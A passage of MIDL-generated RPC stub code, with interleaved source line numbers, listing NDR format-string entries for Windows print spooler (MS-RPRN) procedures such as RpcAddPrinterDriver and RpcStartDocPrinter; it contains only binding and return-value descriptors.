256 */ 0x8, /* 8 */ 325 | 0x1, /* Ext Flags: new corr desc, */ 326 | /* 258 */ NdrFcShort( 0x0 ), /* 0 */ 327 | /* 260 */ NdrFcShort( 0x0 ), /* 0 */ 328 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */ 329 | 330 | /* Return value */ 331 | 332 | /* 264 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 333 | /* 266 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 334 | /* 268 */ 0x8, /* FC_LONG */ 335 | 0x0, /* 0 */ 336 | 337 | /* Procedure RpcSetPrinter */ 338 | 339 | /* 270 */ 0x0, /* 0 */ 340 | 0x48, /* Old Flags: */ 341 | /* 272 */ NdrFcLong( 0x0 ), /* 0 */ 342 | /* 276 */ NdrFcShort( 0x7 ), /* 7 */ 343 | /* 278 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 344 | /* 280 */ 0x32, /* FC_BIND_PRIMITIVE */ 345 | 0x0, /* 0 */ 346 | /* 282 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 347 | /* 284 */ NdrFcShort( 0x0 ), /* 0 */ 348 | /* 286 */ NdrFcShort( 0x8 ), /* 8 */ 349 | /* 288 */ 0x44, /* Oi2 Flags: has return, has ext, */ 350 | 0x1, /* 1 */ 351 | /* 290 */ 0x8, /* 8 */ 352 | 0x1, /* Ext Flags: new corr desc, */ 353 | /* 292 */ NdrFcShort( 0x0 ), /* 0 */ 354 | /* 294 */ NdrFcShort( 0x0 ), /* 0 */ 355 | /* 296 */ NdrFcShort( 0x0 ), /* 0 */ 356 | 357 | /* Return value */ 358 | 359 | /* 298 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 360 | /* 300 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 361 | /* 302 */ 0x8, /* FC_LONG */ 362 | 0x0, /* 0 */ 363 | 364 | /* Procedure RpcGetPrinter */ 365 | 366 | /* 304 */ 0x0, /* 0 */ 367 | 0x48, /* Old Flags: */ 368 | /* 306 */ NdrFcLong( 0x0 ), /* 0 */ 369 | /* 310 */ NdrFcShort( 0x8 ), /* 8 */ 370 | /* 312 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 371 | /* 314 */ 0x32, /* FC_BIND_PRIMITIVE */ 372 | 0x0, /* 0 */ 373 | /* 316 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 374 | /* 318 */ NdrFcShort( 0x0 ), /* 0 */ 375 | /* 320 */ NdrFcShort( 0x8 ), /* 8 */ 376 | /* 322 */ 0x44, /* Oi2 Flags: has return, has ext, */ 377 | 0x1, /* 1 */ 378 | /* 324 */ 0x8, /* 8 */ 379 | 0x1, /* Ext Flags: new corr desc, */ 380 | /* 326 */ NdrFcShort( 0x0 ), /* 0 */ 381 | /* 328 */ NdrFcShort( 0x0 ), /* 0 */ 382 | /* 330 */ NdrFcShort( 0x0 ), /* 0 */ 383 | 384 | /* Return value */ 385 | 386 | /* 332 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 387 | /* 334 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 388 | /* 336 */ 0x8, /* FC_LONG */ 389 | 0x0, /* 0 */ 390 | 391 | /* Procedure RpcAddPrinterDriver */ 392 | 393 | /* 338 */ 0x0, /* 0 */ 394 | 0x48, /* Old Flags: */ 395 | /* 340 */ NdrFcLong( 0x0 ), /* 0 */ 396 | /* 344 */ NdrFcShort( 0x9 ), /* 9 */ 397 | /* 346 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 398 | /* 348 */ 0x32, /* FC_BIND_PRIMITIVE */ 399 | 0x0, /* 0 */ 400 | /* 350 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 401 | /* 352 */ NdrFcShort( 0x0 ), /* 0 */ 402 | /* 354 */ NdrFcShort( 0x8 ), /* 8 */ 403 | /* 356 */ 0x44, /* Oi2 Flags: has return, has ext, */ 404 | 0x1, /* 1 */ 405 | /* 358 */ 0x8, /* 8 */ 406 | 0x1, /* Ext Flags: new corr desc, */ 407 | /* 360 */ NdrFcShort( 0x0 ), /* 0 */ 408 | /* 362 */ NdrFcShort( 0x0 ), /* 0 */ 409 | /* 364 */ NdrFcShort( 0x0 ), /* 0 */ 410 | 411 | /* Return value */ 412 | 413 | /* 366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 414 | /* 368 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 415 | /* 370 */ 0x8, /* FC_LONG */ 416 | 0x0, /* 0 */ 417 | 418 | /* Procedure RpcEnumPrinterDrivers */ 419 | 420 | /* 372 */ 0x0, /* 0 */ 421 | 0x48, /* Old Flags: */ 422 | /* 374 */ NdrFcLong( 0x0 ), /* 0 */ 423 | /* 378 */ NdrFcShort( 0xa ), /* 10 */ 424 | /* 380 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 425 | /* 382 */ 0x32, /* FC_BIND_PRIMITIVE */ 426 | 0x0, /* 0 */ 427 | /* 384 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 428 | /* 386 */ NdrFcShort( 0x0 ), /* 0 */ 429 | /* 388 */ NdrFcShort( 0x8 ), /* 8 */ 430 | /* 390 */ 0x44, /* Oi2 Flags: has return, has ext, */ 431 | 0x1, /* 1 */ 432 | /* 392 */ 0x8, /* 8 */ 433 | 0x1, /* Ext Flags: new corr desc, */ 434 | /* 394 */ NdrFcShort( 0x0 ), /* 0 */ 435 | /* 396 */ NdrFcShort( 0x0 ), /* 0 */ 436 | /* 398 */ NdrFcShort( 0x0 ), /* 0 */ 437 | 438 | /* Return value */ 439 | 440 | /* 400 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 441 | /* 402 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 442 | /* 404 */ 0x8, /* FC_LONG */ 443 | 0x0, /* 0 */ 444 | 445 | /* Procedure RpcGetPrinterDriver */ 446 | 447 | /* 406 */ 0x0, /* 0 */ 448 | 0x48, /* Old Flags: */ 449 | /* 408 */ NdrFcLong( 0x0 ), /* 0 */ 450 | /* 412 */ NdrFcShort( 0xb ), /* 11 */ 451 | /* 414 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 452 | /* 416 */ 0x32, /* FC_BIND_PRIMITIVE */ 453 | 0x0, /* 0 */ 454 | /* 418 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 455 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */ 456 | /* 422 */ NdrFcShort( 0x8 ), /* 8 */ 457 | /* 424 */ 0x44, /* Oi2 Flags: has return, has ext, */ 458 | 0x1, /* 1 */ 459 | /* 426 */ 0x8, /* 8 */ 460 | 0x1, /* Ext Flags: new corr desc, */ 461 | /* 428 */ NdrFcShort( 0x0 ), /* 0 */ 462 | /* 430 */ NdrFcShort( 0x0 ), /* 0 */ 463 | /* 432 */ NdrFcShort( 0x0 ), /* 0 */ 464 | 465 | /* Return value */ 466 | 467 | /* 434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 468 | /* 436 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 469 | /* 438 */ 0x8, /* FC_LONG */ 470 | 0x0, /* 0 */ 471 | 472 | /* Procedure RpcGetPrinterDriverDirectory */ 473 | 474 | /* 440 */ 0x0, /* 0 */ 475 | 0x48, /* Old Flags: */ 476 | /* 442 */ NdrFcLong( 0x0 ), /* 0 */ 477 | /* 446 */ NdrFcShort( 0xc ), /* 12 */ 478 | /* 448 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 479 | /* 450 */ 0x32, /* FC_BIND_PRIMITIVE */ 480 | 0x0, /* 0 */ 481 | /* 452 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 482 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */ 483 | /* 456 */ NdrFcShort( 0x8 ), /* 8 */ 484 | /* 458 */ 0x44, /* Oi2 Flags: has return, has ext, */ 485 | 0x1, /* 1 */ 486 | /* 460 */ 0x8, /* 8 */ 487 | 0x1, /* Ext Flags: new corr desc, */ 488 | /* 462 */ NdrFcShort( 0x0 ), /* 0 */ 489 | /* 464 */ NdrFcShort( 0x0 ), /* 0 */ 490 | /* 466 */ NdrFcShort( 0x0 ), /* 0 */ 491 | 492 | /* Return value */ 493 | 494 | /* 468 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 495 | /* 470 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 496 | /* 472 */ 0x8, /* FC_LONG */ 497 | 0x0, /* 0 */ 498 | 499 | /* Procedure RpcDeletePrinterDriver */ 500 | 501 | /* 474 */ 0x0, /* 0 */ 502 | 0x48, /* Old Flags: */ 503 | /* 476 */ NdrFcLong( 0x0 ), /* 0 */ 504 | /* 480 */ NdrFcShort( 0xd ), /* 13 */ 505 | /* 482 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 506 | /* 484 */ 0x32, /* FC_BIND_PRIMITIVE */ 507 | 0x0, /* 0 */ 508 | /* 486 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 509 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */ 510 | /* 490 */ NdrFcShort( 0x8 ), /* 8 */ 511 | /* 492 */ 0x44, /* Oi2 Flags: has return, has ext, */ 512 | 0x1, /* 1 */ 513 | /* 494 */ 0x8, /* 8 */ 514 | 0x1, /* Ext Flags: new corr desc, */ 515 | /* 496 */ NdrFcShort( 0x0 ), /* 0 */ 516 | /* 498 */ NdrFcShort( 0x0 ), /* 0 */ 517 | /* 500 */ NdrFcShort( 0x0 ), /* 0 */ 518 | 519 | /* Return value */ 520 | 521 | /* 502 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 522 | /* 504 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 523 | /* 506 */ 0x8, /* FC_LONG */ 524 | 0x0, /* 0 */ 525 | 526 | /* Procedure RpcAddPrintProcessor */ 527 | 528 | /* 508 */ 0x0, /* 0 */ 529 | 0x48, /* Old Flags: */ 530 | /* 510 */ NdrFcLong( 0x0 ), /* 0 */ 531 | /* 514 */ NdrFcShort( 0xe ), /* 14 */ 532 | /* 516 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 533 | /* 518 */ 0x32, /* FC_BIND_PRIMITIVE */ 534 | 0x0, /* 0 */ 535 | /* 520 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 536 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */ 537 | /* 524 */ NdrFcShort( 0x8 ), /* 8 */ 538 | /* 526 */ 0x44, /* Oi2 Flags: has return, has ext, */ 539 | 0x1, /* 1 */ 540 | /* 528 */ 0x8, /* 8 */ 541 | 0x1, /* Ext Flags: new corr desc, */ 542 | /* 530 */ NdrFcShort( 0x0 ), /* 0 */ 543 | /* 532 */ NdrFcShort( 0x0 ), /* 0 */ 544 | /* 534 */ NdrFcShort( 0x0 ), /* 0 */ 545 | 546 | /* Return value */ 547 | 548 | /* 536 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 549 | /* 538 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 550 | /* 540 */ 0x8, /* FC_LONG */ 551 | 0x0, /* 0 */ 552 | 553 | /* Procedure RpcEnumPrintProcessors */ 554 | 555 | /* 542 */ 0x0, /* 0 */ 556 | 0x48, /* Old Flags: */ 557 | /* 544 */ NdrFcLong( 0x0 ), /* 0 */ 558 | /* 548 */ NdrFcShort( 0xf ), /* 15 */ 559 | /* 550 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 560 | /* 552 */ 0x32, /* FC_BIND_PRIMITIVE */ 561 | 0x0, /* 0 */ 562 | /* 554 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 563 | /* 556 */ NdrFcShort( 0x0 ), /* 0 */ 564 | /* 558 */ NdrFcShort( 0x8 ), /* 8 */ 565 | /* 560 */ 0x44, /* Oi2 Flags: has return, has ext, */ 566 | 0x1, /* 1 */ 567 | /* 562 */ 0x8, /* 8 */ 568 | 0x1, /* Ext Flags: new corr desc, */ 569 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */ 570 | /* 566 */ NdrFcShort( 0x0 ), /* 0 */ 571 | /* 568 */ NdrFcShort( 0x0 ), /* 0 */ 572 | 573 | /* Return value */ 574 | 575 | /* 570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 576 | /* 572 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 577 | /* 574 */ 0x8, /* FC_LONG */ 578 | 0x0, /* 0 */ 579 | 580 | /* Procedure RpcGetPrintProcessorDirectory */ 581 | 582 | /* 576 */ 0x0, /* 0 */ 583 | 0x48, /* Old Flags: */ 584 | /* 578 */ NdrFcLong( 0x0 ), /* 0 */ 585 | /* 582 */ NdrFcShort( 0x10 ), /* 16 */ 586 | /* 584 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 587 | /* 586 */ 0x32, /* FC_BIND_PRIMITIVE */ 588 | 0x0, /* 0 */ 589 | /* 588 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 590 | /* 590 */ NdrFcShort( 0x0 ), /* 0 */ 591 | /* 592 */ NdrFcShort( 0x8 ), /* 8 */ 592 | /* 594 */ 0x44, /* Oi2 Flags: has return, has ext, */ 593 | 0x1, /* 1 */ 594 | /* 596 */ 0x8, /* 8 */ 595 | 0x1, /* Ext Flags: new corr desc, */ 596 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */ 597 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */ 598 | /* 602 */ NdrFcShort( 0x0 ), /* 0 */ 599 | 600 | /* Return value */ 601 | 602 | /* 604 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 603 | /* 606 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 604 | /* 608 */ 0x8, /* FC_LONG */ 605 | 0x0, /* 0 */ 606 | 607 | /* Procedure RpcStartDocPrinter */ 608 | 609 | /* 610 */ 0x0, /* 0 */ 610 | 0x48, /* Old Flags: */ 611 | /* 612 */ NdrFcLong( 0x0 ), /* 0 */ 612 | /* 616 */ NdrFcShort( 0x11 ), /* 17 */ 613 | /* 618 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 614 | /* 620 */ 0x32, /* FC_BIND_PRIMITIVE */ 615 | 0x0, /* 0 */ 616 | /* 622 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 617 | /* 624 */ NdrFcShort( 0x0 ), /* 0 */ 618 | /* 626 */ NdrFcShort( 0x8 ), /* 8 */ 619 | /* 628 */ 0x44, /* Oi2 Flags: has return, has ext, */ 620 | 0x1, /* 1 */ 621 | /* 630 */ 0x8, /* 8 */ 622 | 0x1, /* Ext Flags: new corr desc, */ 623 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */ 624 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */ 625 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */ 626 | 627 | /* Return value */ 628 | 629 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 630 | /* 640 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 631 | /* 642 */ 0x8, /* FC_LONG */ 632 | 0x0, /* 0 */ 633 | 634 | /* Procedure RpcStartPagePrinter */ 635 | 636 | /* 644 */ 0x0, /* 0 */ 637 | 0x48, /* Old Flags: */ 638 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */ 639 | /* 650 */ NdrFcShort( 0x12 ), /* 18 */ 640 | /* 652 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 641 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */ 642 | 0x0, /* 0 */ 643 | /* 656 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 644 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */ 645 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */ 646 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */ 647 | 0x1, /* 1 */ 648 | /* 664 */ 0x8, /* 8 */ 649 | 0x1, /* Ext Flags: new corr desc, */ 650 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */ 651 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */ 652 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */ 653 | 654 | /* Return value */ 655 | 656 | /* 672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 657 | /* 674 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 658 | /* 676 */ 0x8, /* FC_LONG */ 659 | 0x0, /* 0 */ 660 | 661 | /* Procedure RpcWritePrinter */ 662 | 663 | /* 678 */ 0x0, /* 0 */ 664 | 0x48, /* Old Flags: */ 665 | /* 680 */ NdrFcLong( 0x0 ), /* 0 */ 666 | /* 684 */ NdrFcShort( 0x13 ), /* 19 */ 667 | /* 686 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 668 | /* 688 */ 0x32, /* FC_BIND_PRIMITIVE */ 669 | 0x0, /* 0 */ 670 | /* 690 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 671 | /* 692 */ NdrFcShort( 0x0 ), /* 0 */ 672 | /* 694 */ NdrFcShort( 0x8 ), /* 8 */ 673 | /* 696 */ 0x44, /* Oi2 Flags: has return, has ext, */ 674 | 0x1, /* 1 */ 675 | /* 698 */ 0x8, /* 8 */ 676 | 0x1, /* Ext Flags: new corr desc, */ 677 | /* 700 */ NdrFcShort( 0x0 ), /* 0 */ 678 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */ 679 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */ 680 | 681 | /* Return value */ 682 | 683 | /* 706 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 684 | /* 708 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 685 | /* 710 */ 0x8, /* FC_LONG */ 686 | 0x0, /* 0 */ 687 | 688 | /* Procedure RpcEndPagePrinter */ 689 | 690 | /* 712 */ 0x0, /* 0 */ 691 | 0x48, /* Old Flags: */ 692 | /* 714 */ NdrFcLong( 0x0 ), /* 0 */ 693 | /* 718 */ NdrFcShort( 0x14 ), /* 20 */ 694 | /* 720 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 695 | /* 722 */ 0x32, /* FC_BIND_PRIMITIVE */ 696 | 0x0, /* 0 */ 697 | /* 724 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 698 | /* 726 */ NdrFcShort( 0x0 ), /* 0 */ 699 | /* 728 */ NdrFcShort( 0x8 ), /* 8 */ 700 | /* 730 */ 0x44, /* Oi2 Flags: has return, has ext, */ 701 | 0x1, /* 1 */ 702 | /* 732 */ 0x8, /* 8 */ 703 | 0x1, /* Ext Flags: new corr desc, */ 704 | /* 734 */ NdrFcShort( 0x0 ), /* 0 */ 705 | /* 736 */ NdrFcShort( 0x0 ), /* 0 */ 706 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */ 707 | 708 | /* Return value */ 709 | 710 | /* 740 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 711 | /* 742 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 712 | /* 744 */ 0x8, /* FC_LONG */ 713 | 0x0, /* 0 */ 714 | 715 | /* Procedure RpcAbortPrinter */ 716 | 717 | /* 746 */ 0x0, /* 0 */ 718 | 0x48, /* Old Flags: */ 719 | /* 748 */ NdrFcLong( 0x0 ), /* 0 */ 720 | /* 752 */ NdrFcShort( 0x15 ), /* 21 */ 721 | /* 754 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 722 | /* 756 */ 0x32, /* FC_BIND_PRIMITIVE */ 723 | 0x0, /* 0 */ 724 | /* 758 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 725 | /* 760 */ NdrFcShort( 0x0 ), /* 0 */ 726 | /* 762 */ NdrFcShort( 0x8 ), /* 8 */ 727 | /* 764 */ 0x44, /* Oi2 Flags: has return, has ext, */ 728 | 0x1, /* 1 */ 729 | /* 766 */ 0x8, /* 8 */ 730 | 0x1, /* Ext Flags: new corr desc, */ 731 | /* 768 */ NdrFcShort( 0x0 ), /* 0 */ 732 | /* 770 */ NdrFcShort( 0x0 ), /* 0 */ 733 | /* 772 */ NdrFcShort( 0x0 ), /* 0 */ 734 | 735 | /* Return value */ 736 | 737 | /* 774 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 738 | /* 776 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 739 | /* 778 */ 0x8, /* FC_LONG */ 740 | 0x0, /* 0 */ 741 | 742 | /* Procedure RpcReadPrinter */ 743 | 744 | /* 780 */ 0x0, /* 0 */ 745 | 0x48, /* Old Flags: */ 746 | /* 782 */ NdrFcLong( 0x0 ), /* 0 */ 747 | /* 786 */ NdrFcShort( 0x16 ), /* 22 */ 748 | /* 788 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 749 | /* 790 */ 0x32, /* FC_BIND_PRIMITIVE */ 750 | 0x0, /* 0 */ 751 | /* 792 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 752 | /* 794 */ NdrFcShort( 0x0 ), /* 0 */ 753 | /* 796 */ NdrFcShort( 0x8 ), /* 8 */ 754 | /* 798 */ 0x44, /* Oi2 Flags: has return, has ext, */ 755 | 0x1, /* 1 */ 756 | /* 800 */ 0x8, /* 8 */ 757 | 0x1, /* Ext Flags: new corr desc, */ 758 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */ 759 | /* 804 */ NdrFcShort( 0x0 ), /* 0 */ 760 | /* 806 */ NdrFcShort( 0x0 ), /* 0 */ 761 | 762 | /* Return value */ 763 | 764 | /* 808 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 765 | /* 810 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 766 | /* 812 */ 0x8, /* FC_LONG */ 767 | 0x0, /* 0 */ 768 | 769 | /* Procedure RpcEndDocPrinter */ 770 | 771 | /* 814 */ 0x0, /* 0 */ 772 | 0x48, /* Old Flags: */ 773 | /* 816 */ NdrFcLong( 0x0 ), /* 0 */ 774 | /* 820 */ NdrFcShort( 0x17 ), /* 23 */ 775 | /* 822 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 776 | /* 824 */ 0x32, /* FC_BIND_PRIMITIVE */ 777 | 0x0, /* 0 */ 778 | /* 826 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 779 | /* 828 */ NdrFcShort( 0x0 ), /* 0 */ 780 | /* 830 */ NdrFcShort( 0x8 ), /* 8 */ 781 | /* 832 */ 0x44, /* Oi2 Flags: has return, has ext, */ 782 | 0x1, /* 1 */ 783 | /* 834 */ 0x8, /* 8 */ 784 | 0x1, /* Ext Flags: new corr desc, */ 785 | /* 836 */ NdrFcShort( 0x0 ), /* 0 */ 786 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */ 787 | /* 840 */ NdrFcShort( 0x0 ), /* 0 */ 788 | 789 | /* Return value */ 790 | 791 | /* 842 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 792 | /* 844 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 793 | /* 846 */ 0x8, /* FC_LONG */ 794 | 0x0, /* 0 */ 795 | 796 | /* Procedure RpcAddJob */ 797 | 798 | /* 848 */ 0x0, /* 0 */ 799 | 0x48, /* Old Flags: */ 800 | /* 850 */ NdrFcLong( 0x0 ), /* 0 */ 801 | /* 854 */ NdrFcShort( 0x18 ), /* 24 */ 802 | /* 856 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 803 | /* 858 */ 0x32, /* FC_BIND_PRIMITIVE */ 804 | 0x0, /* 0 */ 805 | /* 860 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 806 | /* 862 */ NdrFcShort( 0x0 ), /* 0 */ 807 | /* 864 */ NdrFcShort( 0x8 ), /* 8 */ 808 | /* 866 */ 0x44, /* Oi2 Flags: has return, has ext, */ 809 | 0x1, /* 1 */ 810 | /* 868 */ 0x8, /* 8 */ 811 | 0x1, /* Ext Flags: new corr desc, */ 812 | /* 870 */ NdrFcShort( 0x0 ), /* 0 */ 813 | /* 872 */ NdrFcShort( 0x0 ), /* 0 */ 814 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */ 815 | 816 | /* Return value */ 817 | 818 | /* 876 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 819 | /* 878 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 820 | /* 880 */ 0x8, /* FC_LONG */ 821 | 0x0, /* 0 */ 822 | 823 | /* Procedure RpcScheduleJob */ 824 | 825 | /* 882 */ 0x0, /* 0 */ 826 | 0x48, /* Old Flags: */ 827 | /* 884 */ NdrFcLong( 0x0 ), /* 0 */ 828 | /* 888 */ NdrFcShort( 0x19 ), /* 25 */ 829 | /* 890 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 830 | /* 892 */ 0x32, /* FC_BIND_PRIMITIVE */ 831 | 0x0, /* 0 */ 832 | /* 894 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 833 | /* 896 */ NdrFcShort( 0x0 ), /* 0 */ 834 | /* 898 */ NdrFcShort( 0x8 ), /* 8 */ 835 | /* 900 */ 0x44, /* Oi2 Flags: has return, has ext, */ 836 | 0x1, /* 1 */ 837 | /* 902 */ 0x8, /* 8 */ 838 | 0x1, /* Ext Flags: new corr desc, */ 839 | /* 904 */ NdrFcShort( 0x0 ), /* 0 */ 840 | /* 906 */ NdrFcShort( 0x0 ), /* 0 */ 841 | /* 908 */ NdrFcShort( 0x0 ), /* 0 */ 842 | 843 | /* Return value */ 844 | 845 | /* 910 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 846 | /* 912 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 847 | /* 914 */ 0x8, /* FC_LONG */ 848 | 0x0, /* 0 */ 849 | 850 | /* Procedure RpcGetPrinterData */ 851 | 852 | /* 916 */ 0x0, /* 0 */ 853 | 0x48, /* Old Flags: */ 854 | /* 918 */ NdrFcLong( 0x0 ), /* 0 */ 855 | /* 922 */ NdrFcShort( 0x1a ), /* 26 */ 856 | /* 924 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 857 | /* 926 */ 0x32, /* FC_BIND_PRIMITIVE */ 858 | 0x0, /* 0 */ 859 | /* 928 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 860 | /* 930 */ NdrFcShort( 0x0 ), /* 0 */ 861 | /* 932 */ NdrFcShort( 0x8 ), /* 8 */ 862 | /* 934 */ 0x44, /* Oi2 Flags: has return, has ext, */ 863 | 0x1, /* 1 */ 864 | /* 936 */ 0x8, /* 8 */ 865 | 0x1, /* Ext Flags: new corr desc, */ 866 | /* 938 */ NdrFcShort( 0x0 ), /* 0 */ 867 | /* 940 */ NdrFcShort( 0x0 ), /* 0 */ 868 | /* 942 */ NdrFcShort( 0x0 ), /* 0 */ 869 | 870 | /* Return value */ 871 | 872 | /* 944 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 873 | /* 946 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 874 | /* 948 */ 0x8, /* FC_LONG */ 875 | 0x0, /* 0 */ 876 | 877 | /* Procedure RpcSetPrinterData */ 878 | 879 | /* 950 */ 0x0, /* 0 */ 880 | 0x48, /* Old Flags: */ 881 | /* 952 */ NdrFcLong( 0x0 ), /* 0 */ 882 | /* 956 */ NdrFcShort( 0x1b ), /* 27 */ 883 | /* 958 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 884 | /* 960 */ 0x32, /* FC_BIND_PRIMITIVE */ 885 | 0x0, /* 0 */ 886 | /* 962 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 887 | /* 964 */ NdrFcShort( 0x0 ), /* 0 */ 888 | /* 966 */ NdrFcShort( 0x8 ), /* 8 */ 889 | /* 968 */ 0x44, /* Oi2 Flags: has return, has ext, */ 890 | 0x1, /* 1 */ 891 | /* 970 */ 0x8, /* 8 */ 892 | 0x1, /* Ext Flags: new corr desc, */ 893 | /* 972 */ NdrFcShort( 0x0 ), /* 0 */ 894 | /* 974 */ NdrFcShort( 0x0 ), /* 0 */ 895 | /* 976 */ NdrFcShort( 0x0 ), /* 0 */ 896 | 897 | /* Return value */ 898 | 899 | /* 978 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 900 | /* 980 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 901 | /* 982 */ 0x8, /* FC_LONG */ 902 | 0x0, /* 0 */ 903 | 904 | /* Procedure RpcWaitForPrinterChange */ 905 | 906 | /* 984 */ 0x0, /* 0 */ 907 | 0x48, /* Old Flags: */ 908 | /* 986 */ NdrFcLong( 0x0 ), /* 0 */ 909 | /* 990 */ NdrFcShort( 0x1c ), /* 28 */ 910 | /* 992 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 911 | /* 994 */ 0x32, /* FC_BIND_PRIMITIVE */ 912 | 